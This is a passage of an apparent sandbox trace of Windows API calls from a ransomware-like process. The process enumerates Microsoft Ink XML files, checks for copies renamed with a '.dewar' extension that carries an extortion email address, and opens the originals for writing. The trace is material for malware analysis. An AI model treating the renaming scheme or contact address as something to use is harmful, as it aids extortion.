(normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0219.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0219.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0219.715] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=617) returned 1 [0219.715] CloseHandle (hObject=0x1dc) returned 1 [0219.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0219.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0219.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0219.718] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=16616) returned 1 [0219.718] CloseHandle (hObject=0x1dc) returned 1 [0219.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0219.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0219.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0219.720] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=15097) returned 1 [0219.720] CloseHandle (hObject=0x1dc) returned 1 [0219.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0219.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0219.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.026] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=9803) returned 1 [0220.026] CloseHandle (hObject=0x1d0) returned 1 [0220.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0220.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0220.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.030] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=10947) returned 1 [0220.030] CloseHandle (hObject=0x1d0) returned 1 [0220.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0220.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0220.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.032] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=38485) returned 1 [0220.032] CloseHandle (hObject=0x1d0) returned 1 [0220.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0220.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0220.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.034] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1218) returned 1 [0220.034] CloseHandle (hObject=0x1d0) returned 1 [0220.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0220.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0220.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.038] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=209) returned 1 [0220.038] CloseHandle (hObject=0x1d0) returned 1 [0220.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0220.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0220.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.041] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=471) returned 1 [0220.041] CloseHandle (hObject=0x1d0) returned 1 [0220.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0220.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0220.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.043] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=215) returned 1 [0220.043] CloseHandle (hObject=0x1d0) returned 1 [0220.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0220.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0220.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.045] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1437) returned 1 [0220.045] CloseHandle (hObject=0x1d0) returned 1 [0220.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0220.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0220.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.048] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=219) returned 1 [0220.048] CloseHandle (hObject=0x1d0) returned 1 [0220.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0220.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0220.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.052] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=924) returned 1 [0220.052] CloseHandle (hObject=0x1d0) returned 1 [0220.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0220.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0220.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.054] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=215) returned 1 [0220.054] CloseHandle (hObject=0x1d0) returned 1 [0220.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0220.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0220.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 